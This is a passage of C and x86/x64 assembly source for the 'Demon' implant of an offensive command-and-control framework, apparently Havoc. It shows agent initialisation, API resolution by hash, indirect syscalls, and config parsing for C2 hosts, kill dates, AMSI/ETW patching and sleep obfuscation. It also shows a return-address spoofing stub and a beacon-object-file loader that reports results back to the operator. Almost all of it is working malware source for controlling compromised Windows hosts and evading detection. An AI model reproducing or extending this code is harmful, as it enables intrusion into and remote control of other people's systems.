ntdll from PEB" ) return; } /* resolve Windows version */ Instance->Session.OSVersion = WIN_VERSION_UNKNOWN; OSVersionExW.dwOSVersionInfoSize = sizeof( OSVersionExW ); if ( NT_SUCCESS( Instance->Win32.RtlGetVersion( &OSVersionExW ) ) ) { if ( OSVersionExW.dwMajorVersion >= 5 ) { if ( OSVersionExW.dwMajorVersion == 5 ) { if ( OSVersionExW.dwMinorVersion == 1 ) { Instance->Session.OSVersion = WIN_VERSION_XP; } } else if ( OSVersionExW.dwMajorVersion == 6 ) { if ( OSVersionExW.dwMinorVersion == 0 ) { Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_VISTA : WIN_VERSION_2008; } else if ( OSVersionExW.dwMinorVersion == 1 ) { Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_7 : WIN_VERSION_2008_R2; } else if ( OSVersionExW.dwMinorVersion == 2 ) { Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8 : WIN_VERSION_2012; } else if ( OSVersionExW.dwMinorVersion == 3 ) { Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_8_1 : WIN_VERSION_2012_R2; } } else if ( OSVersionExW.dwMajorVersion == 10 ) { if ( OSVersionExW.dwMinorVersion == 0 ) { Instance->Session.OSVersion = OSVersionExW.wProductType == VER_NT_WORKSTATION ? WIN_VERSION_10 : WIN_VERSION_2016_X; } } } } PRINTF( "OSVersion: %d\n", Instance->Session.OSVersion ); /* load kernel32.dll functions */ if ( ( Instance->Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) { Instance->Win32.LoadLibraryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOADLIBRARYW ); Instance->Win32.VirtualProtectEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALPROTECTEX ); Instance->Win32.VirtualProtect = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALPROTECT ); Instance->Win32.LocalAlloc = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALALLOC ); Instance->Win32.LocalReAlloc = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALREALLOC ); Instance->Win32.LocalFree = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_LOCALFREE ); Instance->Win32.CreateRemoteThread = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEREMOTETHREAD ); Instance->Win32.CreateToolhelp32Snapshot = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATETOOLHELP32SNAPSHOT ); Instance->Win32.Process32FirstW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PROCESS32FIRSTW ); Instance->Win32.Process32NextW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PROCESS32NEXTW ); Instance->Win32.CreatePipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEPIPE ); Instance->Win32.CreateProcessW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEPROCESSW ); Instance->Win32.GetFullPathNameW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFULLPATHNAMEW ); Instance->Win32.CreateFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEFILEW ); Instance->Win32.GetFileSize = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILESIZE ); Instance->Win32.GetFileSizeEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILESIZEEX ); Instance->Win32.CreateNamedPipeW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATENAMEDPIPEW ); Instance->Win32.ConvertFiberToThread = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONVERTFIBERTOTHREAD ); Instance->Win32.CreateFiberEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEFIBEREX ); Instance->Win32.ReadFile = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_READFILE ); Instance->Win32.VirtualAllocEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_VIRTUALALLOCEX ); Instance->Win32.WaitForSingleObjectEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WAITFORSINGLEOBJECTEX ); Instance->Win32.GetComputerNameExA = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCOMPUTERNAMEEXA ); Instance->Win32.GetExitCodeProcess = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETEXITCODEPROCESS ); Instance->Win32.GetExitCodeThread = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETEXITCODETHREAD ); Instance->Win32.TerminateProcess = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_TERMINATEPROCESS ); Instance->Win32.ConvertThreadToFiberEx = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONVERTTHREADTOFIBEREX ); Instance->Win32.SwitchToFiber = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SWITCHTOFIBER ); Instance->Win32.DeleteFiber = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DELETEFIBER ); Instance->Win32.AllocConsole = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_ALLOCCONSOLE ); Instance->Win32.FreeConsole = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FREECONSOLE ); Instance->Win32.GetConsoleWindow = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCONSOLEWINDOW ); Instance->Win32.GetStdHandle = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETSTDHANDLE ); Instance->Win32.SetStdHandle = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SETSTDHANDLE ); Instance->Win32.WaitNamedPipeW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WAITNAMEDPIPEW ); Instance->Win32.PeekNamedPipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_PEEKNAMEDPIPE ); Instance->Win32.DisconnectNamedPipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DISCONNECTNAMEDPIPE ); Instance->Win32.WriteFile = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WRITEFILE ); Instance->Win32.ConnectNamedPipe = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CONNECTNAMEDPIPE ); Instance->Win32.FreeLibrary = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FREELIBRARY ); Instance->Win32.GetCurrentDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETCURRENTDIRECTORYW ); Instance->Win32.GetFileAttributesW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETFILEATTRIBUTESW ); Instance->Win32.FindFirstFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDFIRSTFILEW ); Instance->Win32.FindNextFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDNEXTFILEW ); Instance->Win32.FindClose = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FINDCLOSE ); Instance->Win32.FileTimeToSystemTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_FILETIMETOSYSTEMTIME ); Instance->Win32.SystemTimeToTzSpecificLocalTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SYSTEMTIMETOTZSPECIFICLOCALTIME ); Instance->Win32.RemoveDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_REMOVEDIRECTORYW ); Instance->Win32.DeleteFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DELETEFILEW ); Instance->Win32.CreateDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_CREATEDIRECTORYW ); Instance->Win32.CopyFileW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_COPYFILEW ); Instance->Win32.MoveFileExW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_MOVEFILEEXW ); Instance->Win32.SetCurrentDirectoryW = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_SETCURRENTDIRECTORYW ); Instance->Win32.Wow64DisableWow64FsRedirection = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WOW64DISABLEWOW64FSREDIRECTION ); Instance->Win32.Wow64RevertWow64FsRedirection = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WOW64REVERTWOW64FSREDIRECTION ); Instance->Win32.GetModuleHandleA = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETMODULEHANDLEA ); Instance->Win32.GetSystemTimeAsFileTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETSYSTEMTIMEASFILETIME ); Instance->Win32.GetLocalTime = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GETLOCALTIME ); Instance->Win32.DuplicateHandle = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_DUPLICATEHANDLE ); Instance->Win32.AttachConsole = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_ATTACHCONSOLE ); Instance->Win32.WriteConsoleA = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_WRITECONSOLEA ); Instance->Win32.GlobalFree = LdrFunctionAddr( Instance->Modules.Kernel32, H_FUNC_GLOBALFREE ); } /* now that we loaded some of the basic apis lets parse the config and see how we load the rest */ /* Parse config */ DemonConfig(); /* now do post init stuff after parsing the config */ if ( Instance->Config.Implant.SysIndirect ) { /* Initialize indirect syscalls + get SSN from every single syscall we need */ if ( ! SysInitialize( Instance->Modules.Ntdll ) ) { PUTS( "Failed to Initialize syscalls" ) /* NOTE: the agent is going to keep going for now. */ } } /* shuffle array */ ShuffleArray( RtModules, SIZEOF_ARRAY( RtModules ) ); /* load all modules */ for ( int i = 0; i < SIZEOF_ARRAY( RtModules ); i++ ) { /* load module */ if ( ! ( ( BOOL (*)() ) RtModules[ i ] ) () ) { PUTS( "Failed to load a module" ) return; } } if ( KArgs ) { #if SHELLCODE Instance->Session.ModuleBase = KArgs->Demon; Instance->Session.ModuleSize = KArgs->DemonSize; Instance->Session.TxtBase = KArgs->TxtBase; Instance->Session.TxtSize = KArgs->TxtSize; FreeReflectiveLoader( KArgs->KaynLdr ); #endif } else { Instance->Session.ModuleBase = ModuleInst; /* if ModuleBase has not been specified then lets use the current process one */ if ( ! Instance->Session.ModuleBase ) { /* if we specified nothing as our ModuleBase then this either means that we are an exe or we should use the whole process */ Instance->Session.ModuleBase = LdrModulePeb( 0 ); } if ( Instance->Session.ModuleBase ) { Instance->Session.ModuleSize = IMAGE_SIZE( Instance->Session.ModuleBase ); } } #if _WIN64 Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64; Instance->Session.Process_Arch = PROCESSOR_ARCHITECTURE_AMD64; #else Instance->Session.Process_Arch = PROCESSOR_ARCHITECTURE_INTEL; Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_UNKNOWN; if ( ProcessIsWow( NtCurrentProcess() ) ) { Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_AMD64; } else { Instance->Session.OS_Arch = PROCESSOR_ARCHITECTURE_INTEL; } #endif Instance->Session.PID = U_PTR( Instance->Teb->ClientId.UniqueProcess ); Instance->Session.TID = U_PTR( Instance->Teb->ClientId.UniqueThread ); Instance->Session.Connected = FALSE; Instance->Session.AgentID = RandomNumber32(); Instance->Config.AES.Key = NULL; /* TODO: generate keys here */ Instance->Config.AES.IV = NULL; /* Linked lists */ Instance->Tokens.Vault = NULL; Instance->Tokens.Impersonate = FALSE; Instance->Jobs = NULL; Instance->Downloads = NULL; Instance->Sockets = NULL; Instance->HwBpEngine = NULL; Instance->Packages = NULL; /* Global Objects */ Instance->Dotnet = NULL; /* if cfg is enforced (and if sleep obf is enabled) * add every address we're going to use to the Cfg address list * to not raise an exception while performing sleep obfuscation */ if ( CfgQueryEnforced() ) { PUTS( "Adding required function module &addresses to the cfg list" ); /* common functions */ CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtContinue ); CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtSetContextThread ); CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtGetContextThread ); CfgAddressAdd( Instance->Modules.Advapi32, Instance->Win32.SystemFunction032 ); /* ekko sleep obf */ CfgAddressAdd( Instance->Modules.Kernel32, Instance->Win32.WaitForSingleObjectEx ); CfgAddressAdd( Instance->Modules.Kernel32, Instance->Win32.VirtualProtect ); CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtSetEvent ); /* foliage sleep obf */ CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtTestAlert ); CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtWaitForSingleObject ); CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.NtProtectVirtualMemory ); CfgAddressAdd( Instance->Modules.Ntdll, Instance->Win32.RtlExitUserThread ); } PRINTF( "Instance DemonID => %x\n", Instance->Session.AgentID ) } VOID DemonConfig() { PARSER Parser = { 0 }; PVOID Buffer = NULL; ULONG Temp = 0; UINT32 Length = 0; DWORD J = 0; PRINTF( "Config Size: %d\n", sizeof( AgentConfig ) ) ParserNew( &Parser, AgentConfig, sizeof( AgentConfig ) ); RtlSecureZeroMemory( AgentConfig, sizeof( AgentConfig ) ); Instance->Config.Sleeping = ParserGetInt32( &Parser ); Instance->Config.Jitter = ParserGetInt32( &Parser ); PRINTF( "Sleep: %d (%d%%)\n", Instance->Config.Sleeping, Instance->Config.Jitter ) Instance->Config.Memory.Alloc = ParserGetInt32( &Parser ); Instance->Config.Memory.Execute = ParserGetInt32( &Parser ); PRINTF( "[CONFIG] Memory: \n" " - Allocate: %d \n" " - Execute : %d \n", Instance->Config.Memory.Alloc, Instance->Config.Memory.Execute ) Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Process.Spawn64 = Instance->Win32.LocalAlloc( LPTR, Length ); MemCopy( Instance->Config.Process.Spawn64, Buffer, Length ); Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Process.Spawn86 = Instance->Win32.LocalAlloc( LPTR, Length ); MemCopy( Instance->Config.Process.Spawn86, Buffer, Length ); PRINTF( "[CONFIG] Spawn: \n" " - [x64] => %ls \n" " - [x86] => %ls \n", Instance->Config.Process.Spawn64, Instance->Config.Process.Spawn86 ) Instance->Config.Implant.SleepMaskTechnique = ParserGetInt32( &Parser ); Instance->Config.Implant.SleepJmpBypass = ParserGetInt32( &Parser ); Instance->Config.Implant.StackSpoof = ParserGetInt32( &Parser ); Instance->Config.Implant.ProxyLoading = ParserGetInt32( &Parser ); Instance->Config.Implant.SysIndirect = ParserGetInt32( &Parser ); Instance->Config.Implant.AmsiEtwPatch = ParserGetInt32( &Parser ); #ifdef TRANSPORT_HTTP Instance->Config.Implant.DownloadChunkSize = 0x80000; /* 512k */ #else Instance->Config.Implant.DownloadChunkSize = 0xfc00; /* 63k, needs to be less than PIPE_BUFFER_MAX */ #endif PRINTF( "[CONFIG] Sleep Obfuscation: \n" " - Technique: %d \n" " - Stack Dup: %s \n" "[CONFIG] ProxyLoading: %d\n" "[CONFIG] SysIndirect : %s\n" "[CONFIG] AmsiEtwPatch: %d\n", Instance->Config.Implant.SleepMaskTechnique, Instance->Config.Implant.StackSpoof ? "TRUE" : "FALSE", Instance->Config.Implant.ProxyLoading, Instance->Config.Implant.SysIndirect ? "TRUE" : "FALSE", Instance->Config.Implant.AmsiEtwPatch ) #ifdef TRANSPORT_HTTP Instance->Config.Transport.KillDate = ParserGetInt64( &Parser ); PRINTF( "KillDate: %d\n", Instance->Config.Transport.KillDate ) // check if the kill date has already passed if ( Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate ) { // refuse to run // TODO: exit process? Instance->Win32.RtlExitUserThread( 0 ); } Instance->Config.Transport.WorkingHours = ParserGetInt32( &Parser ); Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Transport.Method = MmHeapAlloc( Length + sizeof( WCHAR ) ); MemCopy( Instance->Config.Transport.Method, Buffer, Length ); Instance->Config.Transport.HostRotation = ParserGetInt32( &Parser ); Instance->Config.Transport.HostMaxRetries = 0; /* Max retries. 0 == infinite retrying * TODO: add this to the yaotl language and listener GUI */ Instance->Config.Transport.Hosts = NULL; Instance->Config.Transport.Host = NULL; /* J contains our Hosts counter */ J = ParserGetInt32( &Parser ); PRINTF( "[CONFIG] Hosts [%d]\n:", J ) for ( int i = 0; i < J; i++ ) { Buffer = ParserGetBytes( &Parser, &Length ); Temp = ParserGetInt32( &Parser ); PRINTF( " - %ls:%ld\n", Buffer, Temp ) /* if our host address is longer than 0 then lets use it. */ if ( Length > 0 ) { /* Add parse host data to our linked list */ HostAdd( Buffer, Length, Temp ); } } Instance->Config.Transport.NumHosts = HostCount(); PRINTF( "Hosts added => %d\n", Instance->Config.Transport.NumHosts ) /* Get Host data based on our host rotation strategy */ Instance->Config.Transport.Host = HostRotation( Instance->Config.Transport.HostRotation ); PRINTF( "Host going to be used is => %ls:%ld\n", Instance->Config.Transport.Host->Host, Instance->Config.Transport.Host->Port ) // Listener Secure (SSL) Instance->Config.Transport.Secure = ParserGetInt32( &Parser ); PRINTF( "[CONFIG] Secure: %s\n", Instance->Config.Transport.Secure ? "TRUE" : "FALSE" ); // UserAgent Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Transport.UserAgent = MmHeapAlloc( Length + sizeof( WCHAR ) ); MemCopy( Instance->Config.Transport.UserAgent, Buffer, Length ); PRINTF( "[CONFIG] UserAgent: %ls\n", Instance->Config.Transport.UserAgent ); // Headers J = ParserGetInt32( &Parser ); Instance->Config.Transport.Headers = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) ); PRINTF( "[CONFIG] Headers [%d]:\n", J ); for ( INT i = 0; i < J; i++ ) { Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Transport.Headers[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) ); MemSet( Instance->Config.Transport.Headers[ i ], 0, Length ); MemCopy( Instance->Config.Transport.Headers[ i ], Buffer, Length ); #ifdef DEBUG PRINTF( " - %ls\n", Instance->Config.Transport.Headers[ i ] ); #endif } Instance->Config.Transport.Headers[ J + 1 ] = NULL; // Uris J = ParserGetInt32( &Parser ); Instance->Config.Transport.Uris = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) ); PRINTF( "[CONFIG] Uris [%d]:\n", J ); for ( INT i = 0; i < J; i++ ) { Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Transport.Uris[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) ); MemSet( Instance->Config.Transport.Uris[ i ], 0, Length + sizeof( WCHAR ) ); MemCopy( Instance->Config.Transport.Uris[ i ], Buffer, Length ); #ifdef DEBUG PRINTF( " - %ls\n", Instance->Config.Transport.Uris[ i ] ); #endif } Instance->Config.Transport.Uris[ J + 1 ] = NULL; // check if proxy connection is enabled Instance->Config.Transport.Proxy.Enabled = ( BOOL ) ParserGetInt32( &Parser );; if ( Instance->Config.Transport.Proxy.Enabled ) { PUTS( "[CONFIG] [PROXY] Enabled" ); Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Transport.Proxy.Url = MmHeapAlloc( Length + sizeof( WCHAR ) ); MemCopy( Instance->Config.Transport.Proxy.Url, Buffer, Length ); PRINTF( "[CONFIG] [PROXY] Url: %ls\n", Instance->Config.Transport.Proxy.Url ); Buffer = ParserGetBytes( &Parser, &Length ); if ( Length > 0 ) { Instance->Config.Transport.Proxy.Username = MmHeapAlloc( Length ); MemCopy( Instance->Config.Transport.Proxy.Username, Buffer, Length ); PRINTF( "[CONFIG] [PROXY] Username: %ls\n", Instance->Config.Transport.Proxy.Username ); } else Instance->Config.Transport.Proxy.Username = NULL; Buffer = ParserGetBytes( &Parser, &Length ); if ( Length > 0 ) { Instance->Config.Transport.Proxy.Password = MmHeapAlloc( Length ); MemCopy( Instance->Config.Transport.Proxy.Password, Buffer, Length ); PRINTF( "[CONFIG] [PROXY] Password: %ls\n", Instance->Config.Transport.Proxy.Password ); } else Instance->Config.Transport.Proxy.Password = NULL; } else { PUTS( "[CONFIG] [PROXY] Disabled" ); } #endif #ifdef TRANSPORT_SMB Buffer = ParserGetBytes( &Parser, &Length ); Instance->Config.Transport.Name = Instance->Win32.LocalAlloc( LPTR, Length ); MemCopy( Instance->Config.Transport.Name, Buffer, Length ); PRINTF( "[CONFIG] PipeName: %ls\n", Instance->Config.Transport.Name ); Instance->Config.Transport.KillDate = ParserGetInt64( &Parser ); PRINTF( "KillDate: %d\n", Instance->Config.Transport.KillDate ) // check if the kill date has already passed if ( Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate ) { // refuse to run // TODO: exit process? Instance->Win32.RtlExitUserThread(0); } Instance->Config.Transport.WorkingHours = ParserGetInt32( &Parser ); #endif Instance->Config.Implant.ThreadStartAddr = Instance->Win32.LdrLoadDll + 0x12; /* TODO: default -> change that or make it optional via builder or profile */ Instance->Config.Inject.Technique = INJECTION_TECHNIQUE_SYSCALL; ParserDestroy( &Parser ); } ================================================ FILE: payloads/Demon/src/asm/Spoof.x64.asm ================================================ [BITS 64] DEFAULT REL GLOBAL Spoof [SECTION .text] Spoof: pop r11 add rsp, 8 mov rax, [rsp + 24] mov r10, [rax] mov [rsp], r10 mov r10, [rax + 8] mov [rax + 8], r11 mov [rax + 16], rbx lea rbx, [fixup] mov [rax], rbx mov rbx, rax jmp r10 fixup: sub rsp, 16 mov rcx, rbx mov rbx, [rcx + 16] jmp QWORD [rcx + 8] ================================================ FILE: payloads/Demon/src/asm/Spoof.x86.asm ================================================ [BITS 32] DEFAULT REL GLOBAL _Spoof [SECTION .text] _Spoof: ret ================================================ FILE: payloads/Demon/src/asm/Syscall.x64.asm ================================================ [bits 64] ; export the functions global SysSetConfig global SysInvoke section .text SysSetConfig: mov r11, rcx ret ;; Invoke Syscall and pass given arguments SysInvoke: mov r10, rcx mov eax, [r11 + 0x8] ; set the syscall service number into eax jmp QWORD [r11] ; jump to the following syscall ret ; finished execution ================================================ FILE: payloads/Demon/src/asm/Syscall.x86.asm ================================================ [bits 32] ; export the functions global _SysSetConfig global _SysInvoke global _IsWoW64 section .text _SysSetConfig: mov edx, [esp + 0x4] ret ;; Invoke Syscall and pass given arguments _SysInvoke: mov ebx, [edx + 0x0] ; set the address of the syscall mov eax, [edx + 0x4] ; set the syscall service number into eax mov edx, esp sub edx, 0x4 call DWORD ebx ; call the following syscall ret ; finished execution _IsWoW64: mov eax, [fs:0xc0] test eax, eax jne wow64 mov eax, 0 ret wow64: mov eax, 1 ret ================================================ FILE: payloads/Demon/src/core/CoffeeLdr.c ================================================ #include #include #include #include #include #include #include #include #if _WIN64 // __imp_ #define COFF_PREP_SYMBOL 0xec6ba2a8 #define COFF_PREP_SYMBOL_SIZE 6 // __imp_Beacon #define COFF_PREP_BEACON 0xd0a409b0 #define COFF_PREP_BEACON_SIZE ( COFF_PREP_SYMBOL_SIZE + 6 ) // .refptr.Instance #define COFF_INSTANCE 0xbfded9c9 #else // __imp__ #define COFF_PREP_SYMBOL 0x79dff807 #define COFF_PREP_SYMBOL_SIZE 7 // __imp__Beacon #define COFF_PREP_BEACON 0x4c20aa4f #define COFF_PREP_BEACON_SIZE ( COFF_PREP_SYMBOL_SIZE + 6 ) // _Instance #define COFF_INSTANCE 0xb341b5b9 #endif PVOID CoffeeFunctionReturn = NULL; LONG WINAPI VehDebugger( PEXCEPTION_POINTERS Exception ) { UINT32 RequestID = 0; PPACKAGE Package = NULL; PRINTF( "Exception: %p\n", Exception->ExceptionRecord->ExceptionCode ) // Leave faulty function #if _WIN64 Exception->ContextRecord->Rip = (DWORD64)(ULONG_PTR)CoffeeFunctionReturn; #else Exception->ContextRecord->Eip = (DWORD64)(ULONG_PTR)CoffeeFunctionReturn; #endif // TODO: obtaining the RequestID this way is almost surely not correct // given that CoffeeFunctionReturn won't point to BOF code but Demon code // also, if two BOFs are running at the same time, this VEH impl won't work if ( GetRequestIDForCallingObjectFile( CoffeeFunctionReturn, &RequestID ) ) { Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, RequestID ); } else { Package = PackageCreate( DEMON_COMMAND_INLINE_EXECUTE ); } PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_EXCEPTION ); PackageAddInt32( Package, Exception->ExceptionRecord->ExceptionCode ); PackageAddInt64( Package, (UINT64)(ULONG_PTR)Exception->ExceptionRecord->ExceptionAddress ); PackageTransmit( Package ); return EXCEPTION_CONTINUE_EXECUTION; } // check if the symbol is on the form: __imp_LIBNAME$FUNCNAME BOOL SymbolIncludesLibrary( LPSTR Symbol ) { // does it start with __imp_? if ( HashEx( Symbol, COFF_PREP_SYMBOL_SIZE, FALSE ) != COFF_PREP_SYMBOL ) return FALSE; // does it contain a $ (which separates DLL name and export name) SIZE_T Length = StringLengthA( Symbol ); for (SIZE_T i = COFF_PREP_SYMBOL_SIZE + 1; i < Length - 1; ++i) { if ( Symbol[ i ] == '$' ) return TRUE; } return FALSE; } BOOL SymbolIsImport( LPSTR Symbol ) { // does it start with __imp_? return HashEx( Symbol, COFF_PREP_SYMBOL_SIZE, FALSE ) == COFF_PREP_SYMBOL; } BOOL CoffeeProcessSymbol( PCOFFEE Coffee, LPSTR SymbolName, UINT16 SymbolType, PVOID* pFuncAddr ) { CHAR Bak[ 1024 ] = { 0 }; CHAR SymName[ 1024 ] = { 0 }; PCHAR SymLibrary = NULL; PCHAR SymFunction = NULL; HMODULE hLibrary = NULL; DWORD SymBeacon = HashEx( SymbolName, COFF_PREP_BEACON_SIZE, FALSE ); ANSI_STRING AnsiString = { 0 }; PPACKAGE Package = NULL; *pFuncAddr = NULL; MemCopy( Bak, SymbolName, StringLengthA( SymbolName ) + 1 ); if ( SymBeacon == COFF_PREP_BEACON ) { // this is an import symbol from Beacon: __imp_BeaconFUNCNAME SymFunction = SymbolName + COFF_PREP_SYMBOL_SIZE; for ( DWORD i = 0 ;; i++ ) { if ( ! BeaconApi[ i ].NameHash ) break; if ( HashStringA( SymFunction ) == BeaconApi[ i ].NameHash ) { //PUTS( "Found Beacon api function" ) *pFuncAddr = BeaconApi[ i ].Pointer; return TRUE; } } goto SymbolNotFound; } else if ( SymbolIsImport( SymbolName ) && ! SymbolIncludesLibrary( SymbolName ) ) { // this is an import symbol without library: __imp_FUNCNAME SymFunction = SymbolName + COFF_PREP_SYMBOL_SIZE; StringCopyA( SymName, SymFunction ); #if _M_IX86 // in x86, symbols can have this form: __imp__LoadLibraryA@4 // we need to make sure there is no '@' in the function name for ( DWORD i = 0 ;; ++i ) { if ( ! SymName[i] ) break; if ( SymName[i] == '@' ) { SymName[i] = 0; break; } } #endif // we support a handful of functions that don't usually have the DLL for ( DWORD i = 0 ;; i++ ) { if ( ! LdrApi[ i ].NameHash ) break; if ( HashStringA( SymName ) == LdrApi[ i ].NameHash ) { *pFuncAddr = LdrApi[ i ].Pointer; return TRUE; } } goto SymbolNotFound; } else if ( SymbolIsImport( SymbolName ) ) { // this is a typical import symbol in the form: __imp_LIBNAME$FUNCNAME SymLibrary = Bak + COFF_PREP_SYMBOL_SIZE; SymLibrary = StringTokenA( SymLibrary, "$" ); SymFunction = SymLibrary + StringLengthA( SymLibrary ) + 1; hLibrary = LdrModuleLoad( SymLibrary ); if ( ! hLibrary ) { PRINTF( "Failed to load library: Lib:[%s] Err:[%d]\n", SymLibrary, NtGetLastError() ); goto SymbolNotFound; } StringCopyA( SymName, SymFunction ); #if _M_IX86 // in x86, symbols can have this form: __imp__KERNEL32$GetProcessHeap@0 // we need to make sure there is no '@' in the function name for ( DWORD i = 0 ;; ++i ) { if ( ! SymName[i] ) break; if ( SymName[i] == '@' ) { SymName[i] = 0; break; } } #endif /* * we overwrite the addresses of some Nt apis to provide * automatic support for syscalls to BOFs */ if ( hLibrary == Instance->Modules.Ntdll ) { for ( DWORD i = 0 ;; i++ ) { if ( ! NtApi[ i ].NameHash ) break; if ( HashStringA( SymName ) == NtApi[ i ].NameHash ) { *pFuncAddr = NtApi[ i ].Pointer; return TRUE; } } } AnsiString.Length = StringLengthA( SymName ); AnsiString.MaximumLength = AnsiString.Length + sizeof( CHAR ); AnsiString.Buffer = SymName; if ( NT_SUCCESS( Instance->Win32.LdrGetProcedureAddress( hLibrary, &AnsiString, 0, pFuncAddr ) ) ) return TRUE; goto SymbolNotFound; } else if ( HashStringA( SymbolName ) == COFF_INSTANCE ) { // allow BOFs to reference the Instance struct *pFuncAddr = &Instance; return TRUE; } else if ( SymbolType != SYMBOL_IS_A_FUNCTION) { // TODO: should we also fail if the symbol is not a function? return TRUE; } SymbolNotFound: Package = PackageCreateWithRequestID( DEMON_COMMAND_INLINE_EXECUTE, Coffee->RequestID ); PackageAddInt32( Package, DEMON_COMMAND_INLINE_EXECUTE_SYMBOL_NOT_FOUND ); PackageAddString( Package, SymbolName ); PackageTransmit( Package ); return FALSE; } // This is our function where we can control/get the return address of it to use it in case of a Veh exception VOID CoffeeFunction( PVOID Address, PVOID Argument, SIZE_T Size ) { VOID ( *Function ) ( PCHAR , ULONG ) = Address; CoffeeFunctionReturn = __builtin_extract_return_addr( __builtin_return_address ( 0 ) ); // Execute our function Function( Argument, Size ); PUTS( "Finished" ) } BOOL CoffeeExecuteFunction( 